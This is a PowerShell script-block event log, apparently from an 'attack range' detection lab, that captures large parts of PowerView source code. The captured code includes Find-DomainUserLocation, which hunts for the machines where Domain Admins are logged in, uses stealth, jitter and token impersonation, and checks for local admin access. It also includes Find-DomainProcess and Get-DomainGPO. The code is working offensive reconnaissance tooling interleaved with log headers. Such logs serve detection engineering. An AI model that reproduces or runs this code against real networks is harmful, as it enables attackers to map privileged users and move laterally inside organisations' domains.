$TargetProcessName = @()
ForEach ($T in $ProcessName) {
$TargetProcessName += $T.Split(',')
}
if ($TargetProcessName -isnot [System.Array]) {
$TargetProcessName = [String[]] @($TargetProcessName)
}
}
elseif ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount'] -or $PSBoundParameters['UserAllowDelegation']) {
$TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname
}
else {
$GroupSearcherArguments = @{
'Identity' = $UserGroupIdentity
'Recurse' = $True
}
if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential }
$GroupSearcherArguments
$TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName
}
# the host enumeration block we're using to enumerate all servers
$HostEnumBlock = {
Param($ComputerName, $ProcessName, $TargetUsers, $Credential)
ForEach ($TargetComputer in $ComputerName) {
$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
if ($Up) {
# try to enumerate all active processes on the remote host
# and search for a specific process name
if ($Credential) {
$Processes = Get-WMIProcess -Credential $Credential -ComputerName $TargetComputer -ErrorAction SilentlyContinue
}
else {
$Processes = Get-WMIProcess -ComputerName $TargetComputer -ErrorAction SilentlyContinue
}
ForEach ($Process in $Processes) {
# if we're hunting for a process name or comma-separated names
if ($ProcessName) {
if ($ProcessName -Contains $Process.ProcessName) {
$Process
}
}
# if the session user is in the target list, display some output
elseif ($TargetUsers -Contains $Process.User) {
$Process
}
}
}
}
}
}
PROCESS {
# only ignore threading if -Delay is passed
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
Write-Verbose "[Find-DomainProcess] Total number of hosts: $($TargetComputers.count)"
Write-Verbose "[Find-DomainProcess] Delay: $Delay, Jitter: $Jitter"
$Counter = 0
$RandNo = New-Object System.Random
ForEach ($TargetComputer in $TargetComputers) {
$Counter = $Counter + 1
# sleep for our semi-randomized interval
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
Write-Verbose "[Find-Do69859593-9fd6-4276-9750-0d12703f9101
4104132150x0124455Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local4454 if ($PSBoundParameters['ComputerDomain']) { $FileServerSearcherArguments['Domain'] = $ComputerDomain }
if ($PSBoundParameters['ComputerSearchBase']) { $FileServerSearcherArguments['SearchBase'] = $ComputerSearchBase }
if ($PSBoundParameters['Server']) { $FileServerSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $FileServerSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $FileServerSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $FileServerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $FileServerSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $FileServerSearcherArguments['Credential'] = $Credential }
$FileServers = Get-DomainFileServer @FileServerSearcherArguments
if ($FileServers -isnot [System.Array]) { $FileServers = @($FileServers) }
$TargetComputerArrayList.AddRange( $FileServers )
}
if ($StealthSource -match 'DFS|All') {
Write-Verbose '[Find-DomainUserLocation] Querying for DFS servers'
# # TODO: fix the passed parameters to Get-DomainDFSShare
# $ComputerName += Get-DomainDFSShare -Domain $Domain -Server $DomainController | ForEach-Object {$_.RemoteServerName}
}
if ($StealthSource -match 'DC|All') {
Write-Verbose '[Find-DomainUserLocation] Querying for domain controllers'
$DCSearcherArguments = @{
'LDAP' = $True
}
if ($PSBoundParameters['Domain']) { $DCSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['ComputerDomain']) { $DCSearcherArguments['Domain'] = $ComputerDomain }
if ($PSBoundParameters['Server']) { $DCSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $DCSearcherArguments['Credential'] = $Credential }
$DomainControllers = Get-DomainController @DCSearcherArguments | Select-Object -ExpandProperty dnshostname
if ($DomainControllers -isnot [System.Array]) { $DomainControllers = @($DomainControllers) }
$TargetComputerArrayList.AddRange( $DomainControllers )
}
$TargetComputers = $TargetComputerArrayList.ToArray()
}
else {
Write-Verbose '[Find-DomainUserLocation] Querying for all computers in the domain'
$TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname
}
}
Write-Verbose "[Find-DomainUserLocation] TargetComputers length: $($TargetComputers.Length)"
if ($TargetComputers.Length -eq 0) {
throw '[Find-DomainUserLocation] No hosts found to enumerate'
}
# get the current user so we can ignore it in the results
if ($PSBoundParameters['Credential']) {
$CurrentUser = $Credential.GetNetworkCredential().UserName
}
else {
$CurrentUser = ([Environment]::UserName).ToLower()
}
# now build the user target set
if ($PSBoundParameters['ShowAll']) {
$TargetUsers = @()
}
elseif ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount'] -or $PSBoundParameters['UserAllowDelegation']) {
$TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname
}
else {
$GroupSearcherArguments = @{
'Identity' = $UserGroupIdentity
'Recurse' = $True
}
if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential }
$TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName
}
Write-Verbose "[Find-DomainUserLocation] TargetUsers length: $($TargetUsers.Length)"
if ((-not $ShowAll) -and ($TargetUsers.Length -eq 0)) {
throw '[Find-DomainUserLocation] No users found to target'
}
# the host enumeration block we're using to enumerate all servers
$HostEnumBlock = {
Param($ComputerName, $TargetUsers, $CurrentUser, $Stealth, $TokenHandle)
if ($TokenHandle) {
# impersonate the the token produced by LogonUser()/Invoke-UserImpersonation
$Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet
}
ForEach ($TargetComputer in $ComputerName) {
$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
if ($Up) {
$Sessions = Get-NetSession -ComputerName $TargetComputer
ForEach ($Session in $Sessions) {
$UserName = $Session.UserName
$CName = $Session.CName
if ($CName -and $CName.StartsWith('\\')) {
$CName = $CName.TrimStart('\')
}
# make sure we have a result, and ignore computer$ sessions
if (($UserName) -and ($UserName.Trim() -ne '') -and ($UserName -notmatch $CurrentUser) -and ($UserName -notmatch '\$$')) {
if ( (-not $TargetUsers) -or ($TargetUsers -contains $UserName)) {
$UserLocation = New-Object PSObject
$UserLocation | Add-Member Noteproperty 'UserDomain' $Null
$UserLocation | Add-Member Noteproperty 'UserName' $UserName
$UserLocation | Add-Member Noteproperty 'ComputerName' $TargetComputer
$UserLocation | Add-Member Noteproperty 'SessionFrom' $CName
# try to resolve the DNS hostname of $Cname
try {
$CNameDNSName = [System.Net.Dns]::GetHostEntry($CName) | Select-Object -ExpandProperty HostName
$UserLocation | Add-Member NoteProperty 'SessionFromName' $CnameDNSName
}
catch {
$UserLocation | Add-Member NoteProperty 'SessionFromName' $Null
}
# see if we're checking to see if we have local admin access on this machine
if ($CheckAccess) {
$Admin = (Test-AdminAccess -ComputerName $CName).IsAdmin
$UserLocation | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin
}
else {
$UserLocation | Add-Member Noteproperty 'LocalAdmin' $Null
}
$UserLocation.PSObject.TypeNames.Insert(0, 'PowerView.UserLocation')
$UserLocation
}
}
}
if (-not $Stealth) {
# if we're not 'stealthy', enumerate loggedon users as well
$LoggedOn = Get-NetLoggedon -ComputerName $TargetComputer
ForEach ($User in $LoggedOn) {
$UserName = $User.UserName
$UserDomain = $User.LogonDomain
# make sure wet have a result
if (($UserName) -and ($UserName.trim() -ne '')) {
if ( (-not $TargetUsers) -or ($TargetUsers -contains $UserName) -and ($UserName -notmatch '\$$')) {
$IPAddress = @(Resolve-IPAddress -ComputerName $TargetComputer)[0].IPAddress
$UserLocation = New-Object PSObject
$UserLocation | Add-Member Noteproperty 'UserDomain' $UserDomain
$UserLocation | Add-Member Noteproperty 'UserName' $UserName
$UserLocation | Add-Member Noteproperty 'ComputerName' $TargetComputer
$UserLocation | Add-Member Noteproperty 'IPAddress' $IPAddress
$UserLocation | Add-Member Noteproperty 'SessionFrom' $Null
$UserLocation | Add-Member Noteproperty 'SessionFromName' $Null
# see if we're checking to see if we have local admin access on this machine
if ($CheckAccess) {
$Admin = Test-AdminAccess -ComputerName $TargetComputer
$UserLocation | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin
}
else {
$UserLocation | Add-Member Noteproperty 'LocalAdmin' $Null
}
$UserLocation.PSObject.TypeNames.Insert(0, 'PowerView.UserLocation')
$UserLocation
}
}
}
}
}
}
if ($TokenHandle) {
Invoke-RevertToSelf
}
}
$LogonToken = $Null
if ($PSBoundParameters['Credential']) {
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
else {
$LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet
}
}
}
PROCESS {
# only ignore threading if -Delay is passed
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
Write-Verbose "[Find-DomainUserLocation] Total number of hosts: $($TargetComputers.count)"
Write-Verbose "[Find-DomainUserLocation] Delay: $Delay, Jitter: $Jitter"
$Counter = 0
$RandNo = New-Object System.Random
ForEach ($TargetComputer in $TargetComputers) {
$Counter = $Counter + 1
# sleep for our semi-randomized interval
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
Write-Verbose "[Find-DomainUserLocation] Enumerating server $Computer ($Counter of $($TargetComputers.Count))"
Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $TargetUsers, $CurrentUser, $Stealth, $LogonToken
if ($Result -and $StopOnSuccess) {
Write-Verbose "[Find-DomainUserLocation] Target user found, returning early"
return
}
}
}
else {
Write-Verbose "[Find-DomainUserLocation] Using threading with threads: $Threads"
Write-Verbose "[Find-DomainUserLocation] TargetComputers length: $($TargetComputers.Length)"
# if we're using threading, kick off the script block with New-ThreadedFunction
$ScriptParams = @{
'TargetUsers' = $TargetUsers
'CurrentUser' = $CurrentUser
'Stealth' = $Stealth
'TokenHandle' = $LogonToken
}
# if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
}
}
END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
function Find-DomainProcess {
<#
.SYNOPSIS
Searches for processes on the domain using WMI, returning processes
that match a particular user specification or process name.
Thanks to @paulbrandau for the approach idea.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Get-WMIProcess, New-ThreadedFunction
.DESCRIPTION
This function enumerates all machines on the current (or specified) domain
using Get-DomainComputer, and queries the domain for users of a specified group
(default 'Domain Admins') with Get-DomainGroupMember. Then for each server the
function enumerates any current processes running with Get-WMIProcess,
searching for processes running under any target user contexts or with the
specified -ProcessName. If -Credential is passed, it is passed through to
the underlying WMI commands used to enumerate the remote machines.
.PARAMETER ComputerName
Specifies an array of one or more hosts to enumerate, passable on the pipeline.
If -ComputerName is not passed, the default behavior is to enumerate all machines
in the do69859593-9fd6-4276-9750-0d12703f9101
4104132150x0124454Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local4354amePartitioned) {
# create a "powershell pipeline runner"
$PowerShell = [PowerShell]::Create()
$PowerShell.runspacepool = $Pool
# add the script block + arguments with the given computer partition
$Null = $PowerShell.AddScript($ScriptBlock).AddParameter('ComputerName', $ComputerNamePartition)
if ($ScriptParameters) {
ForEach ($Param in $ScriptParameters.GetEnumerator()) {
$Null = $PowerShell.AddParameter($Param.Name, $Param.Value)
}
}
# create the output queue
$Output = New-Object Management.Automation.PSDataCollection[Object]
# kick off execution using the BeginInvok() method that allows queues
$Jobs += @{
PS = $PowerShell
Output = $Output
Result = $Method.Invoke($PowerShell, @($Null, [Management.Automation.PSDataCollection[Object]]$Output))
}
}
}
END {
Write-Verbose "[New-ThreadedFunction] Threads executing"
# continuously loop through each job queue, consuming output as appropriate
Do {
ForEach ($Job in $Jobs) {
$Job.Output.ReadAll()
}
Start-Sleep -Seconds 1
}
While (($Jobs | Where-Object { -not $_.Result.IsCompleted }).Count -gt 0)
$SleepSeconds = 100
Write-Verbose "[New-ThreadedFunction] Waiting $SleepSeconds seconds for final cleanup..."
# cleanup- make sure we didn't miss anything
for ($i=0; $i -lt $SleepSeconds; $i++) {
ForEach ($Job in $Jobs) {
$Job.Output.ReadAll()
$Job.PS.Dispose()
}
Start-Sleep -S 1
}
$Pool.Dispose()
Write-Verbose "[New-ThreadedFunction] all threads completed"
}
}
function Find-DomainUserLocation {
<#
.SYNOPSIS
Finds domain machines where specific users are logged into.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainFileServer, Get-DomainDFSShare, Get-DomainController, Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetSession, Test-AdminAccess, Get-NetLoggedon, Resolve-IPAddress, New-ThreadedFunction
.DESCRIPTION
This function enumerates all machines on the current (or specified) domain
using Get-DomainComputer, and queries the domain for users of a specified group
(default 'Domain Admins') with Get-DomainGroupMember. Then for each server the
function enumerates any active user sessions with Get-NetSession/Get-NetLoggedon
The found user list is compared against the target list, and any matches are
displayed. If -ShowAll is specified, all results are displayed instead of
the filtered set. If -Stealth is specified, then likely highly-trafficed servers
are enumerated with Get-DomainFileServer/Get-DomainController, and session
enumeration is executed only against those servers. If -Credential is passed,
then Invoke-UserImpersonation is used to impersonate the specified user
before enumeration, reverting after with Invoke-RevertToSelf.
.PARAMETER ComputerName
Specifies an array of one or more hosts to enumerate, passable on the pipeline.
If -ComputerName is not passed, the default behavior is to enumerate all machines
in the domain returned by Get-DomainComputer.
.PARAMETER Domain
Specifies the domain to query for computers AND users, defaults to the current domain.
.PARAMETER ComputerDomain
Specifies the domain to query for computers, defaults to the current domain.
.PARAMETER ComputerLDAPFilter
Specifies an LDAP query string that is used to search for computer objects.
.PARAMETER ComputerSearchBase
Specifies the LDAP source to search through for computers,
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER ComputerUnconstrained
Switch. Search computer objects that have unconstrained delegation.
.PARAMETER ComputerOperatingSystem
Search computers with a specific operating system, wildcards accepted.
.PARAMETER ComputerServicePack
Search computers with a specific service pack, wildcards accepted.
.PARAMETER ComputerSiteName
Search computers in the specific AD Site name, wildcards accepted.
.PARAMETER UserIdentity
Specifies one or more user identities to search for.
.PARAMETER UserDomain
Specifies the domain to query for users to search for, defaults to the current domain.
.PARAMETER UserLDAPFilter
Specifies an LDAP query string that is used to search for target users.
.PARAMETER UserSearchBase
Specifies the LDAP source to search through for target users.
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER UserGroupIdentity
Specifies a group identity to query for target users, defaults to 'Domain Admins.
If any other user specifications are set, then UserGroupIdentity is ignored.
.PARAMETER UserAdminCount
Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged).
.PARAMETER UserAllowDelegation
Switch. Search for user accounts that are not marked as 'sensitive and not allowed for delegation'.
.PARAMETER CheckAccess
Switch. Check if the current user has local admin access to computers where target users are found.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain and target systems.
.PARAMETER StopOnSuccess
Switch. Stop hunting after finding after finding a target user.
.PARAMETER Delay
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
.PARAMETER Jitter
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
.PARAMETER ShowAll
Switch. Return all user location results instead of filtering based on target
specifications.
.PARAMETER Stealth
Switch. Only enumerate sessions from connonly used target servers.
.PARAMETER StealthSource
The source of target servers to use, 'DFS' (distributed file servers),
'DC' (domain controllers), 'File' (file servers), or 'All' (the default).
.PARAMETER Threads
The number of threads to use for user searching, defaults to 20.
.EXAMPLE
Find-DomainUserLocation
Searches for 'Domain Admins' by enumerating every computer in the domain.
.EXAMPLE
Find-DomainUserLocation -Stealth -ShowAll
Enumerates likely highly-trafficked servers, performs just session enumeration
against each, and outputs all results.
.EXAMPLE
Find-DomainUserLocation -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local
Enumerates Windows 7 computers in dev.testlab.local and returns user results for privileged
users in dev.testlab.local.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Find-DomainUserLocation -Domain testlab.local -Credential $Cred
Searches for domain admin locations in the testlab.local using the specified alternate credentials.
.OUTPUTS
PowerView.UserLocation
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.UserLocation')]
[CmdletBinding(DefaultParameterSetName = 'UserGroupIdentity')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DNSHostName')]
[String[]]
$ComputerName,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[String]
$ComputerDomain,
[ValidateNotNullOrEmpty()]
[String]
$ComputerLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$ComputerSearchBase,
[Alias('Unconstrained')]
[Switch]
$ComputerUnconstrained,
[ValidateNotNullOrEmpty()]
[Alias('OperatingSystem')]
[String]
$ComputerOperatingSystem,
[ValidateNotNullOrEmpty()]
[Alias('ServicePack')]
[String]
$ComputerServicePack,
[ValidateNotNullOrEmpty()]
[Alias('SiteName')]
[String]
$ComputerSiteName,
[Parameter(ParameterSetName = 'UserIdentity')]
[ValidateNotNullOrEmpty()]
[String[]]
$UserIdentity,
[ValidateNotNullOrEmpty()]
[String]
$UserDomain,
[ValidateNotNullOrEmpty()]
[String]
$UserLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$UserSearchBase,
[Parameter(ParameterSetName = 'UserGroupIdentity')]
[ValidateNotNullOrEmpty()]
[Alias('GroupName', 'Group')]
[String[]]
$UserGroupIdentity = 'Domain Admins',
[Alias('AdminCount')]
[Switch]
$UserAdminCount,
[Alias('AllowDelegation')]
[Switch]
$UserAllowDelegation,
[Switch]
$CheckAccess,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$StopOnSuccess,
[ValidateRange(1, 10000)]
[Int]
$Delay = 0,
[ValidateRange(0.0, 1.0)]
[Double]
$Jitter = .3,
[Parameter(ParameterSetName = 'ShowAll')]
[Switch]
$ShowAll,
[Switch]
$Stealth,
[String]
[ValidateSet('DFS', 'DC', 'File', 'All')]
$StealthSource = 'All',
[Int]
[ValidateRange(1, 100)]
$Threads = 20
)
BEGIN {
$ComputerSearcherArguments = @{
'Properties' = 'dnshostname'
}
if ($PSBoundParameters['Domain']) { $ComputerSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain }
if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter }
if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase }
if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained }
if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem }
if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack }
if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName }
if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential }
$UserSearcherArguments = @{
'Properties' = 'samaccountname'
}
if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity }
if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter }
if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount }
if ($PSBoundParameters['UserAllowDelegation']) { $UserSearcherArguments['AllowDelegation'] = $UserAllowDelegation }
if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }
$TargetComputers = @()
# first, build the set of computers to enumerate
if ($PSBoundParameters['ComputerName']) {
$TargetComputers = @($ComputerName)
}
else {
if ($PSBoundParameters['Stealth']) {
Write-Verbose "[Find-DomainUserLocation] Stealth enumeration using source: $StealthSource"
$TargetComputerArrayList = New-Object System.Collections.ArrayList
if ($StealthSource -match 'File|All') {
Write-Verbose '[Find-DomainUserLocation] Querying for file servers'
$FileServerSearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $FileServerSearcherArguments['Domain'] = $Domain }
69859593-9fd6-4276-9750-0d12703f9101
4104132150x0124444Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local3354 By default, all GPO objects for
the current domain are returned. To enumerate all GPOs that are applied to
a particular machine, use -ComputerName X.
.PARAMETER Identity
A display name (e.g. 'Test GPO'), DistinguishedName (e.g. 'CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local'),
GUID (e.g. '10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. '{F260B76D-55C8-46C5-BEF1-9016DD98E272}'). Wildcards accepted.
.PARAMETER ComputerIdentity
Return all GPO objects applied to a given computer identity (name, dnsname, DistinguishedName, etc.).
.PARAMETER UserIdentity
Return all GPO objects applied to a given user identity (name, SID, DistinguishedName, etc.).
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER FindOne
Only return one result object.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Raw
Switch. Return raw results instead of translating the fields into a custom PSObject.
.EXAMPLE
Get-DomainGPO -Domain testlab.local
Return all GPOs for the testlab.local domain
.EXAMPLE
Get-DomainGPO -ComputerName windows1.testlab.local
Returns all GPOs applied windows1.testlab.local
.EXAMPLE
"{F260B76D-55C8-46C5-BEF1-9016DD98E272}","Test GPO" | Get-DomainGPO
Return the GPOs with the name of "{F260B76D-55C8-46C5-BEF1-9016DD98E272}" and the display
name of "Test GPO"
.EXAMPLE
Get-DomainGPO -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainGPO -Credential $Cred
.OUTPUTS
PowerView.GPO
Custom PSObject with translated GPO property fields.
PowerView.GPO.Raw
The raw DirectoryServices.SearchResult object, if -Raw is enabled.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[OutputType('PowerView.GPO')]
[OutputType('PowerView.GPO.Raw')]
[CmdletBinding(DefaultParameterSetName = 'None')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String[]]
$Identity,
[Parameter(ParameterSetName = 'ComputerIdentity')]
[Alias('ComputerName')]
[ValidateNotNullOrEmpty()]
[String]
$ComputerIdentity,
[Parameter(ParameterSetName = 'UserIdentity')]
[Alias('UserName')]
[ValidateNotNullOrEmpty()]
[String]
$UserIdentity,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Alias('ReturnOne')]
[Switch]
$FindOne,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$Raw
)
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
